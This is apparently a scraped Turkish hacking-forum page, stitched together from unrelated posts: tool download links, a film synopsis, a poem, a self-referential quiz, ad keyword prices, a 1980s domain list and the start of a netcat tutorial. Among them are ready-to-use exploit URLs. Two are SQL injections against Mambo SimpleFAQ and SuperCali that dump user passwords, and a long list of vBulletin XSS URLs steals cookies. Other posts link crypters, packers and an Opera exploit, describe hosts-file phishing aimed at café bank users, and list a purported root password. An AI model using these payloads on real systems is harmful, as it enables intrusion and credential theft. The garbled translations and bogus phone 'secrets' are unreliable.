# Programın Geçerli Olduğu Sistemler:
* Microsoft® Windows XP Home/Professional
* Microsoft® Windows 2000 Professional
Yorum: tek tek sistemin orasını burasını kurcalayıp sistem güvenliği için uğraşmamıza gerek yok tek tek yapacağımız işlemleri bir araya toplamışlar pratikleştirilmiş... kullandım gayet güzel. ! :)
http://uploaded.to/?id=culakx
rar pass: codepimps.blogspot.com
Cep Telefon’nun Gizli Bölgeleri:
1)Eğer cep telefonunuzun pili zayıfsa ve acil telefon bekliyorsunuz;Nokialar,yedek pile sahip. *3370# tuşlarına basarak,telefonunuzu yedek pille çalışır hale getirebilirsiniz.
2)Aracınızın anahtarını unuttunuz.Yedek anahtarınız başka birinde varsa, o kişiyi cep telefonunuzla arayın.Cep telefonunuzla arayın.
Cep telefonunuzu aracınızın kapısına 25-30 cm uzakta tutun,karşı taraf da yedek anahtarın açma düğmesine bassın.Kapınız. Açılacaktır.Bu Bagaj İçin De Geçerlidir.
English:
1)She bends pocket your telephone’s battery thin;Your need reaches the quick telephone,Nokia to the backup battery an owner.While pack to *3370# keys,Your telephone you can bring a halo backup works with the battery.
2)You forgot your vehicle’s key.The backup key if other reaches one,That person you look for pocket with your telephone.You look for pocket with your telephone.
Pocket your telephone 25-30 to your vehicle’s door cm , distant a side the backup key you do not open you pack.Your pot. She will be opened.
Modifiyenin böylesini gördünüz mü kasa + mause uygulamışlar.... dehşet birşey
tıkla ve gör.
tar zxvf Delta_SSH_DB.rar
Cd openssh 3
. / Configure -- prefix = / usr -- sysconfdir = / etc / ssh 4
Make & & make install 5
Cp ssh_config sshd_config / etc / ssh 6 /
Victem Ip
User: root
Password: Farzad.Sharifi
Delta_SSH_DB.rar
Sploit For Opera 9.0 - 9.20
Kod:
http://secret.netsons.org/graf/download/exploit/sploit_for_opera_9.0_9.20_.htm
ElcomSoft şifre kurtarma aracı Advanced Office Password Recovery (AOPR) 4.0'ı çıkardı. Yeni sürüm Windows, Mac ve Pocket PCi sürümleri de dahil olmak üzere tüm Office 2007 (ve öncesi) programlarının şifrelerini bulabiliyor. 30'un üzerinde şifreleme metodu destekleniyor.
4.0 sürümü dosya "açma" şifrelerini kırabilmesinin yanında Word dokümanı "kaydetme" korumasından Excel workbook / sheet şifrelerine erişime kadar tüm Office şifrelerine erişim sağlıyor.
AOPR'nin en büyük avantajlarından birisi akıllı bir yaklaşım kullanması. Program ilk olarak şifre cache'ine göz atıyor ve bir ön saldırı metodu ile tüm korunan dokümanların %60'ının şifrelerini anında (doküman yüklenirken) veya bir kaç dakika içinde bulabiliyor.
Çoğu kişi karmaşık olmayan, hatırlaması kolay şifreler kullandığı için bu yaklaşım çok zaman kazandırıyor. Bunun dışındaki durumlarda AOPR, ElcomSoft'un modern işlemciler için optimize edilmiş dekriptolama algoritmalarını kullanarak sözlük / brute-force saldırıları kombinasyonu ile şifreyi buluyor.
Microsoft Office dokümanları güvenliği 2007 sürümünde oldukça geliştirilmiş durumda. Kriptolama bilgisi bloğu Office XP/2003 deki ile aynı fakat Office 2007 her zaman (şu an mevcut en güçlü endüstri standardı algoritma olan) AES'i 128 bit anahtar ve SHA-1 hashing ile birlikte kullanıyor.
AOPR Professional v4.0 Windows 2000/XP/Vista'da çalışıyor ve tek-kullanıcı lisansı $199 dolar. Home, Standart ve Deneme sürümleri de mevcut.
http://www.elcomsoft.com/aopr.html
Kaynak: http://www.net-security.org/secworld.php?id=5544
http://rapidshare.com/files/58481400/Binder--crypter1.rar
http://rapidshare.com/files/58477932/Binder--crypter2.rar
Arşiv Parolası : psp3.cabanova.de
Download Link : http://rapidshare.com/files/61281121/SQL_Hack_1.2.0.0_-__secret.netsons.org_.rar.html
########################################################################
# Mambo Component SimpleFAQ V2.11 - Remote SQL Injection
# Vendor : http://www.parkviewconsultants.com/
# Found By : k1tk4t - k1tk4t[4t]newhack.org
# Location : Indonesia -- #newhack[dot]org @irc.dal.net
# Dork : inurl:"index.php?option=com_simplefaq"
########################################################################
exploit;
http://localhost/mambo/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mos_users/*
1.CD:
http://video.google.com/videoplay?docid=9045129695503589496&hl=en
2.CD:
http://video.google.com/videoplay?docid=-1669997859807175547&hl=en
Eylül Fırtınası 1999
Eylül Fırtınası
"Eylül Fırtınası", bir çocuğun gözünden (Metin-"Kutay Özcan") 12 Eylül dönemini anlatıyor. Metin'in annesi Ayten, siyasi nedenlerle gözaltına alınmıştır. Polislerin amacı, aslında bir süredir kaçak olan ve sol bir örgüt içinde önemli bir yere sahip olan Metin'in babasının yerini öğrenmektir. Ayten, gözaltındayken Metin de şubeye getirilir (Bu, polislerin bilinçli bir tercihidir. Amaçları, Metin'i kullanarak Ayten'i konuşturmaktır). Metin annesiyle birlikte bir gece geçirir. Ertesi gün Bozcaada'da yaşayan dedesi Hüseyin Efe, Metin'i almak üzere gelecektir. Bu olayı polisler, "Eğer konuşursan oğlunla birlikte buradan çıkıp gidersin yoksa o gittikten sonra yeniden işkenceye başlarız" diye kullanmaya çalışırlar ama Ayten kararlıdır, konuşmayacaktır. Metin kendi küçük dünyası içinde annesinin neden bu kadar perişan durumda olduğu sorusuna cevaplar bulmaya çalışır. Ama tüm bunları bir açıklamaya kavuşturmak onun için imkansızdır. Ayten ise Metin'in durumu mümkün olduğunca zararsız yaşayabilmesi için elinden geleni yapar.
Packer coded in pure Assembly Language (MASM32)
Compatible with Windows NT/2000/XP/2003/Vista
Download Link
http://rapidshare.com/files/53146205/Private_Personal_Packer.rar.html
Bayan Garsonun Müşterilere Çaktırmadan CC lerinin nasıl kopyaladığını izleyin... güzel bir sosyal mühendislik gösterisi...
Microsoft .NET Framework 1.0, 1.1 ve 2.0 ile birlikte çalışan ve web tabanlı uygulamalarda çapraz site kod çalıştırma (cross site scripting - xss) tehditine karşı koruma sağlayan yeni bir Anti-XSS aracı çıkardı. Araç System.Web.HttpUtility.HtmlEncode kullanımındaki eksikleri (deny-list yaklaşımı) kapatıyor ve aşağıdaki şekilde kullanılabiliyor:
AntiXSSLibrary.HtmlEncode(string)
AntiXSSLibrary.URLEncode(string)
AntiXSSLibrary ile aşağıdaki karakterler haricinde tüm karakterler kodlanıyor:
a-z (küçük harf)
A-Z (büyük harf)
0-9 (nümerik değerler)
, (virgül)
. (nokta)
_ (alt çizgi)
- (eksi)
(boşluk)—URLEncode hariç
Araç aşağıdaki adresten indirilebilir:
http://www.microsoft.com/downloads/details.aspx?familyid=9a2b9c92-7ad9-496c-9a89-af08de2e5982&displaylang=en
Kaynak: http://blogs.msdn.com/dansellers/archive/2006/02/23/538187.aspx
Ağ yöneticilerinden en çok istenen bilgilerden biri de ağda neler olup bittiğidir. Özellikle şu soruların cevapları sık sık ağ yöneticilerinden istenir:
Program şu anda Beta olarak dağıtılıyor ve 30 Eylül 2006 tarihine kadar hiç bir kısıtlama olmaksızın kullanılabilir."...Onlar ümidin düşmanıdır sevgilim
Akar suyun
Meyve çağında ağacın
Serpilip gelişen hayatın düşmanı
Çünkü ölüm vurdu damgasını alınlarına
-çürüyen diş,dökülen et-
Bir daha geri dönmemek üzere
Yıkılıp gidecekler
Ve elbette ki sevgilim elbet
Dolaşacaktır elini kolunu sallaya sallaya
Dolaşacaktır en şanlı elbisesiyle:
İşçi tulumuyla
Bu güzelim memlekette hürriyet....."
"...Bursada havlucu Recebe
Karabük fabrikasında tesviyeci Hasana düşman
Fakir köylü Hatçe kadına
Irgat Süleymana düşman
Sana düşman,bana düşman
Düşünen insana düşman
Vatan ki bu insanların evidir
Sevgilim onlar vatana düşman..."
Zülfü Livaneli'ne düşman,Orhan Pamuk'a düşman,Aziz Nesin'e düşman,Nazım Hikmet'e düşman,Can Dündar'a düşman,Atilla İlhan'a düşman,Abdi İpekçi'ye düşman,Uğur Mumcu'ya düşman!!...... Doğruya düşman,aydına düşman,Düşünen insana düşman..........
#Discovred By : Hasadya Raed
----------------
#Contact : RaeD (at) BsdMail (dot) Cpm [email concealed]
----------------
#s*ript: vBulletin V3.6.8ulletin V3.6.8
----------------
#Dork: vBulletin V3.6.8ulletin V3.6.8
----------------
#Exploit :
http://www.Victim.com/vBulletin V3.6.8ulletin V3.6.8/faq.php?s=&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ealert%28d
ocument.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8ulletin V3.6.8/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Eal
ert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=1
http://www.Victim.com/vBulletin V3.6.8/index.php?s=
http://www.Victim.com/vBulletin V3.6.8/faq.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ealert%28
document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/memberlist.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ea
lert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/calendar.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Eale
rt%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/search.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ealert
%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cscrip
t%3Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3
Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?do=markread"&do=search&q=%22%3E%3C%2Fs*ript%3E%3
Cs*ript%3Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly
=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3
Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%
3Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3
Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/forumdisplay.php?f=2"&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%
3Ealert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/showgroups.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ea
lert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/online.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ealert
%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/member.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3Ealert
%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
http://www.Victim.com/vBulletin V3.6.8/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fs*ript%3E%3Cs*ript%3E
alert%28document.cookie%29%3B%3C%2Fs*ript&match=all&titlesonly=0
1-Bu testte cevabı A olan ilk soru hangisidir?
A) 1 B) 2 c) 3 D) 4 E) 5
2-Bu testte sadece iki ardaşık sorunun cevabı aynıdır.Bunlar hangi sorulardır?
A) 7 ve 8 B) 9 ve 10 C) 11 ve 12 D) 13 ve 14 E) 15 ve 16
3-Bu testte cevabı E olan kac soru vardır?
A) 3 B) 4 C) 5 D) 6 E) 7
4-Bu testte cevabı E olan ilk soru hangisidir?
A) 9 B) 10 C) 11 D) 12 E) 13
5-Bu testte hangi harf sadece bir defa cevap olmuştur?
A) A B) B C) C D) D E) E
6-Bu sorunun cevabı bu testteki hangi sorunun cevabıyla aynıdır?
A) 16 B) 15 C) 14 D) 13 E) 12
7-BU sorunun cevabı bu testteki 19.sorunun cevabıyla aynıdır.Bu cevap hangisidir?
A) A B) B C) C D) D E) E
8-Bu sorunun cevabı bu testte toplam kac kez cevap olmuştur?
A) 4 B) 5 C) 6 D) 7 E) 8
9-Bu testte cevabı sesli harf olan kac soru vardır?
A) 6 B) 7 C) 8 D) 9 E) 10
10-Bu testte cevabı sessiz harf olan kac soru vardır?
A) 7 B) 8 C) 9 D) 10 E) 11
11-Bu testte cevabı sorununkiyle aynı olan son soru hangidir?
A) 10 B) 12 C) 13 D) 14 E) 15
12-Bu testte cevabı buı sorununkiyle aynı olan ilk soru hangisidir?
A) 4 B) 5 C) 6 D) 7 E) 8
13-Bu testte bu sorunun cevabı bundan sonra (bu haric) kac kez geçecektir?
A) 5 B) 4 C) 3 D) 2 E) 1
14-Bu testte hangi harf en cok cevap olmustur?
A) A B) B C) C D) D E) E
15-Bu testte bu sorunun cevabı ilk olarak hangi soruya cevap olmustur?
A) 5 B) 6 C) 7 D) 8 E) 9
16-Bu testte cevapları soru numararaların sırayla yan yana yazılınca anlamlı bir kelime çıkan sorular hangisidir?
A) 3,4,5 ve 6 B) 5,6,7 ve 8 C) 6,7,8 ve 9 D) 7,8,9 ve 10 E) 11,12,13 ve 14
17-Bu testin ilk ve son sorularının cevapları nedir?
A) A ve E B) B ve D C) C ve C D) B ve A E) D ve E
18-Bu testte hangi harf daima soru numarası çift olan sorulara cevap olmuştur?
A) A B) B C) C D) D E) E
19-Bu testte hangi harf toplam 7 kez cevap olmustur?
A) A B) B C) C D) D E) E
20-Bu sorunun cevabı bu testte daha önce kac kez gecti?
A) 5 B) 6 C) 7 D) 8 E) 9
Testin dışında bir soru daha:"Okuma yazmayı bilen herkesin haftada 2 kez yazdığı şey nedir?"
75.30 Dolar En Düşüğü 50 dolar veren kelimeler..
# $75.30 - mesothelioma claims
# $73.66 - mesothelioma treatment options
# $71.39 - types of mesothelioma
# $71.03 - epithelial mesothelioma
# $70.22 - mesothelioma exposure
# $67.55 - sarcomatoid mesothelioma
# $65.38 - mesothelioma and asbestos
# $64.81 - mesothelioma asbestos exposure
# $64.31 - define mesothelioma
# $63.40 - asbestos lung mesothelioma
# $63.07 - mesothelioma patient
# $62.06 - mesothelioma facts
# $62.02 - mesothelioma cancers
# $60.90 - mesothelioma article
# $60.51 - mesothelioma treatments
# $60.14 - mesothelioma memorial scholarship
# $60.02 - mesothelioma cause
# $59.23 - malignant mesothelioma peritoneal
# $59.23 - malignant peritoneal mesothelioma
# $59.01 - mesothelioma claim
# $58.32 - mesothelioma memorial
# $58.24 - mesothelioma asbestos lung cancer
# $58.04 - epithelioid mesothelioma
# $57.28 - treatment of mesothelioma
# $57.12 - mesothelioma lung
# $57.09 - houston mesothelioma attorney
# $56.20 - desmoplastic mesothelioma
# $55.89 - mesothelioma litigation
# $55.45 - mesothelioma lung cancer
# $54.99 - mesothelioma and
# $54.19 - benign mesothelioma
# $54.12 - cause of mesothelioma
# $53.63 - mesothelioma scholarship
# $53.25 - mesothelioma articles
# $53.01 - consolidate private school loans
# $52.86 - mesothelioma cases
# $52.78 - alumni loan consolidation program
# $52.19 - mesothelioma navy
# $52.17 - studen loan consolidation
# $52.12 - mesothelioma death
# $51.90 - mesothelioma incidence
# $51.75 - malignant mesothelioma
# $51.72 - houston mesothelioma lawyer
# $51.38 - mesothelioma doctor
# $50.84 - new york mesothelioma
# $50.60 - mesothelioma diagnosis
# $50.09 - international mesothelioma
# $50.04 - consolidate loans student
# $50.04 - consolidate student loans
# $50.04 - consolidate student loans
Download DepositFiles.com
Crack
Delphi.exe
Download RapidShare.com
Delphi.exe
CRack
UDC 3.1.0.2 - complete package (.zip archive) 1163 KB DOWNLOAD
Çekoslavak firma CircleTech'in hazırlamış olduğu yazılım mobil telefonlar için bir Java (J2ME) uygulaması. Ana amacı kriptolama kullanarak mesajların alıcı haricinde kimse tarafından okunamamasını sağlamak.
SMS 007 mesajları kriptolamada AES algoritmasını kullanıyor. Gönderilen ve alınan mesajlar için telefonun Gelen Kutusu/Giden Kutusu bölümleri kullanılmıyor. Ayrıca şifre ile girilen ayrı bir kontak listesi var.
Detaylı bilgi ve yazılım aşağıdaki adresten temin edilebilir:
http://www.sms007.cz/index.php?lang=en&type=special&page=htmlenter
Yoggie Security Systems bugün ödüllü Yoggie Gatekeeper serisinin kredi kartı büyüklüğündeki yeni cihazlarını (Yoggie Gatekeeper Personal ve Yoggie Gatekeeper SOHO) duyurdu. YG Personal tüketicilerin dizüstü bilgisayar ve PC'lerini korumak için, YG SOHO ise ev veya küçük ofis ağlarındaki 5 adet bilgisayarı korumak için dizayn edilmiş.
 |
1. MBR, birincil sabit disk alanıdır, sıfırlamak - dos ortamında fdisk /mbr uygulayabilirsin...
2.WinXP kullaniyorsan, Bootable XP CDsi ile kurulum programini calistirip, R tusu ile Recovery Console 'a geciyorsun. Admin sifresini girip, fixboot yaziyorsun. "Boot Sector"u tamir ediyorsun.
İngilizceden Çevirdiğim Kaynak Adres: http://www.ntfs.com/boot-sector-damaged.htm
arkadaslar cafede banka hesabina giren bir çok kisi görmüssünüzdür.ve o müsterilerin baskalarinin tuzagina düsme ihtimali vardir :)
tuzak şöyle ki ; system32\etc\ dizinindeki hosts dosyasında bir kaç değişiklik yapınca çok güzel bir phishing olayı gerçekleşiyor...olay bundan ibaret.
ayrıca şu videoda hacked show yapanlarda herşeyi yalan :D
aynen şu phishing olayı !
video:
http://rapidshare.com/files/34320650/phishing_the_hosts.rar.html
eğer videoda hacked'e inanıyorsanız hala bunada inanın çünkü burada garanti.com.tr'yi mitnicksecurity.com a yönlendiriyorum videoda izlediğiniz gibi :)
Bilindiği Gibi Internet Dunyası Gelince Erisilmesi Kolay Hale Gelen Şeyler Çok ...80'li yıllarda internet Dünyasında pek website yoktu... bir liste buldum 80'li yıllarda açılan websiteleri 100 tane
100 Tarihi WebSitesi :
1. 15-Mar-1985 SYMBOLICS.COM
2. 24-Apr-1985 BBN.COM
3. 24-May-1985 THINK.COM
4. 11-Jul-1985 MCC.COM
5. 30-Sep-1985 DEC.COM
6. 07-Nov-1985 NORTHROP.COM
7. 09-Jan-1986 XEROX.COM
8. 17-Jan-1986 SRI.COM
9. 03-Mar-1986 HP.COM
10. 05-Mar-1986 BELLCORE.COM
11. 19-Mar-1986 IBM.COM
12. 19-Mar-1986 SUN.COM
13. 25-Mar-1986 INTEL.COM
14. 25-Mar-1986 TI.COM
15. 25-Apr-1986 ATT.COM
16. 08-May-1986 GMR.COM
17. 08-May-1986 TEK.COM
18. 10-Jul-1986 FMC.COM
19. 10-Jul-1986 UB.COM
20. 05-Aug-1986 BELL-ATL.COM
21. 05-Aug-1986 GE.COM
22. 05-Aug-1986 GREBYN.COM
23. 05-Aug-1986 ISC.COM
24. 05-Aug-1986 NSC.COM
25. 05-Aug-1986 STARGATE.COM
26. 02-Sep-1986 BOEING.COM
27. 18-Sep-1986 ITCORP.COM
28. 29-Sep-1986 SIEMENS.COM
29. 18-Oct-1986 PYRAMID.COM
30. 27-Oct-1986 ALPHACDC.COM
31. 27-Oct-1986 BDM.COM
32. 27-Oct-1986 FLUKE.COM
33. 27-Oct-1986 INMET.COM
34. 27-Oct-1986 KESMAI.COM
35. 27-Oct-1986 MENTOR.COM
36. 27-Oct-1986 NEC.COM
37. 27-Oct-1986 RAY.COM
38. 27-Oct-1986 ROSEMOUNT.COM
39. 27-Oct-1986 VORTEX.COM
40. 05-Nov-1986 ALCOA.COM
41. 05-Nov-1986 GTE.COM
42. 17-Nov-1986 ADOBE.COM
43. 17-Nov-1986 AMD.COM
44. 17-Nov-1986 DAS.COM
45. 17-Nov-1986 DATA-IO.COM
46. 17-Nov-1986 OCTOPUS.COM
47. 17-Nov-1986 PORTAL.COM
48. 17-Nov-1986 TELTONE.COM
49. 11-Dec-1986 3COM.COM
50. 11-Dec-1986 AMDAHL.COM
51. 11-Dec-1986 CCUR.COM
52. 11-Dec-1986 CI.COM
53. 11-Dec-1986 CONVERGENT.COM
54. 11-Dec-1986 DG.COM
55. 11-Dec-1986 PEREGRINE.COM
56. 11-Dec-1986 QUAD.COM
57. 11-Dec-1986 SQ.COM
58. 11-Dec-1986 TANDY.COM
59. 11-Dec-1986 TTI.COM
60. 11-Dec-1986 UNISYS.COM
61. 19-Jan-1987 CGI.COM
62. 19-Jan-1987 CTS.COM
63. 19-Jan-1987 SPDCC.COM
64. 19-Feb-1987 APPLE.COM
65. 04-Mar-1987 NMA.COM
66. 04-Mar-1987 PRIME.COM
67. 04-Apr-1987 PHILIPS.COM
68. 23-Apr-1987 DATACUBE.COM
69. 23-Apr-1987 KAI.COM
70. 23-Apr-1987 TIC.COM
61. 23-Apr-1987 VINE.COM
72. 30-Apr-1987 NCR.COM
73. 14-May-1987 CISCO.COM
74. 14-May-1987 RDL.COM
75. 20-May-1987 SLB.COM
76. 27-May-1987 PARCPLACE.COM
77. 27-May-1987 UTC.COM
78. 26-Jun-1987 IDE.COM
79. 09-Jul-1987 TRW.COM
80. 13-Jul-1987 UNIPRESS.COM
81. 27-Jul-1987 DUPONT.COM
82. 27-Jul-1987 LOCKHEED.COM
83. 28-Jul-1987 ROSETTA.COM
84. 18-Aug-1987 TOAD.COM
85. 31-Aug-1987 QUICK.COM
86. 03-Sep-1987 ALLIED.COM
87. 03-Sep-1987 DSC.COM
88. 03-Sep-1987 SCO.COM
89. 22-Sep-1987 GENE.COM
90. 22-Sep-1987 KCCS.COM
91. 22-Sep-1987 SPECTRA.COM
92. 22-Sep-1987 WLK.COM
93. 30-Sep-1987 MENTAT.COM
94. 14-Oct-1987 WYSE.COM
95. 02-Nov-1987 CFG.COM
96. 09-Nov-1987 MARBLE.COM
97. 16-Nov-1987 CAYMAN.COM
98. 16-Nov-1987 ENTITY.COM
99. 24-Nov-1987 KSR.COM
100. 30-Nov-1987 NYNEXST.COM
Php Vulnerability Scanner: Download
--------------------------------------------------------------------------------
Usage: host [start_path][port][debug]
host: target server (ip/hostname)
path: path from which to start scanning, if none entered starts from '/'
port: port of the http server, default 80
Examples:
localhost /folder/script.php 81
--------------------------------------------------------------------------------
AUTHOR: t0pP8uZz & xprog
SITE: http://supercali.inforest.com/
DORK: allintext:"SuperCali Event Calendar"
DESCRIPTION:
Pull out members info from the database.
EXPLOITS:
http://www.server.com/index.php?o=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password),4,5,0x677269642E706870/**/from/**/users/*
# milw0rm.com [2007-07-03]
SQL Injection(SI)'nin calisma mantigi nedir?
Sql injecktion web aplikasyonu ustunden databasede oynamalar yapmamizi saglayan bir cesit input manipulasyonudur, serverda beklenmedik sql komutlari calistirarak istediginiz veriyi silebilir, ekleyebiliriz, sifreleri gecersiz kilip sisteme girebiliriz.Meselea asagidaki ornekte database gonderilen normal bir sql statementini gormektesiniz.
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
| ||||
Netcat, Telnet, Reverse Telnet, vs.
Bu yazıda Unix'in efsanevi komutlarından belki de en gençlerinden birine sistem yöneticilerinin ve hackerların daim dostu NetCat'e basitçe değinmeyi amaçladım.
Her ne kadar basitçe değinecek olsam networkle ilgilenenlerin işe yarar bir şeyler bulacağınıza inanıyorum bu yazıda. Özellikler Reverse Telnet birçok download meraklısının ilgisini çekecektir ;)
Unix'e aşina olanlar bilir. Unix'in temelinde yatan MO (Modus Operande; operasyon yöntemi) herbiri tek bir işi mükemmel yapan programcıkları biraraya getirmektir. Zaman zaman Emacs gibi kazalar olsa da :p bu mantık bu güne kadar belki de Unix'in en güçlü olduğu alan olmuştur.
Her biri küçük küçük programcıklar olan basit temel Unix komutları: ls, cat, wc, yes, false, sleep vs. genellikle bir shell ortamında (sh, bash, tcsh vs.) yönlendirme komutlarıyla da biraya geldiklerinde oldukça başarılı işler ortaya koyar.
En basitinden ls -al|more dediğinizde ls komutunun çıktısı takip edebileceğiniz gibi sayfa sayfa karşınıza gelir. Mesela ls komutu bir dizindeki dosyaları gösterirken, ls|wc -l komutu ls komutunun çıktısını wc (wordcount) komutuna gönderek o dizinde kaç dosya olduğunu gösterir. Görüyorsunuz iki alakasız komutla ls komutuna yeni fonksionlar kazandırdık.
Birkaç kelimelik bu tür komutlarla yapabileceğiniz şeylerin ne kadar derine gidebildiğini görseniz şaşarsınız. Dahası bir shell ortamı gibi yapıştırıcı bir sahte-programlama dili ile birleştirildiğinde bu komutlar gerçekten uygulama düzeyinde işlerin altından kalkabilirler.
İşte bu Unix felsefesinden gelen temel komutların hepsi onlarca yıldır kullanılmakta ve birçok ihtiyaca cevap verebilmekte. Bu temel komutlardan biri, herne kadar ağabeyleriyle karşılaştırıldığında çok genç kalsa da, yazılım mantığı ve işlevselliği açısından onları kesinlikle aratmayan bir komut: NetCat.
İsminden de anlaşılacağı gibi cat komutundan yola çıkarak yazılmış bir komut. cat komutu ise Unix'in en temel komutlarından biri. Basitçe yaptığı bir dosyayı alıp standart çıktıya yönlendirmek. Tabi Unix denince bu basit tanımlı programla bir çok şey yapabilirsiniz. Bu çıktıyı bir yazıcıya yönlendirebileceğiniz gibi bir CD yazıcıya gönderip CD basabilir (büyük ihtimalle bozuk olur ;) ya da ses kartına gönderip gürültü dinleyebilirsiniz.
Tabii başka bir programla birleştirip bu sefer söz konusu dosyayı ses kartından insan sesi ile okutturabilir, dahası bu çıkan sesi audio cd olarak da basabilirsiniz. Ve işin güzel yanı bütün bunları yukardaki örnek gibi basit birkaç komutu birleştirerek yapabilirsiniz.
Hemen bir örnek vermek gerekirse cat'in kuzeni olan zcat'i pratik olarak kullanabiliriz.
Adından da anlaşılabileceği gibi zcat, cat komutunun zip algoritması ile bütünleştirilmiş halidir. Basitce .gz uzantılı dosyaları sanki sıkıştırılmamışlar gibi çıktıya verir.
Eğer makinanızda netcat kurulu ise /usr/share/doc/netcat/README.gz diye bir dosya olacaktır büyük ihtimalle. Normalde bu bir text dosyası olsaydı bunu kolayca less README diye açabilirdik, fakat bu sıkıştırılmış bir dosya, peki şimdi ne yapacağız. Basit:
zcat README.gz|less
README.gz dosyasını standart çıktıya gönder (açıp) ve onu da less komutuna ver, sanki bir dosyaymış gibi.
NetCat de işte bu temel Unix komutunun Network üzerinden TCP ve UDP soketlerle işleyen ve etkileşimli hali.
Peki ne yapar bu NetCat?
-------------------------
Öncelikle NetCat en basit anlamıyla bir telnet programıdır. Bu biraz İsviçre Çakısı bir bıçaktır demeye benziyor. Temelde hemen her türlü telnet ihtiyacı için kullanılan bir telnet programı. 1996'da Hobbit tarafından yazılan bu program bütün Unix varyantlarında bulunmakla birlikte NT başta olmak üzere diğer Windows platformlarına da aktarılmıştır edilmiştir. Dahası program geliştirilip ssh bağlantısı sağlayan cryptocat de kullanılabilir.
Biz bu yazı içinde sade netcat'e bağlı kalıp örneklerimizi onun üstünde vereceğiz. Temel platform olarak Unix alınmıştır eğer başka bir platformda bunları denerseniz bilgisayarınız havaya uçabilir, kız arkadaşınız sizi terkedebilir ve belki de en kötüsü bir anda kahve bitebilir ;)
Ne yapıyorsanız kendi riskinize yapıyorsunuz, hiçbir şeyin garantisi yok; bunu hala öğrenemeyenler var o yüzden her yazıda bu satırları yazmak zorundayız :) Hayatınızı yaşayın ve öğrenin...
Dosya Transferi
----------------
Ön Hazırlık
------------
Bu yazı boyunca yapacağımız işlemler için bir ön hazırlık yapmamız lazım.
Zira yazı boyunca iki sanal makina arasındaki network bağlantısından sözedeceğiz. Bunu simüle etmek için de bazı düzenlemeler yapmamız gerekiyor. Bu makalede yazanları denemeniz için makinanızın Internet'e bağlı olması, hatta ethernet kartı olması bile gerekli değil.
Unix makinaların tcp iletişim konusunda ethernet aygıtları gibi sanal bir aygıt olan lo (loopback) aygıtları bulunmaktadır. Adresi 127.0.0.1 olan bu aygıt, makinanın kendisine işaret eder. Linux altında bunun yerine 0 da kullanabilirsiniz. İşte biz de burada vereceğimiz örnekler için bu aygıtı lo'u kullanacağız.
Fakat burda önemli nokta 127.0.0.1 adresine sahip lo aygıtına müdahale etmememiz gerektiği. Bu adresi değiştirmek bizim normal ağ bağlantılarımızı bozar. Bunun yerine lo:1 diye aynı aygıt üstünden yeni bir network aygiti tanımlayacağız. Bu işi eth0 veya eth1 gibi bir ethernet kartı üzerinden de yapıp bir ethernet kartına birçok IP numarası atayabilirdik.
Yapacağımız işlem (tabi ki bunu root olarak yapmamız lazım)
ifconfig lo:1 10.0.1.1
ifconfig lo:2 10.0.1.2
Şimdi ise ifconfig komutu ile baktığımızda şöyle bir şeyler görmemiz lazım
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
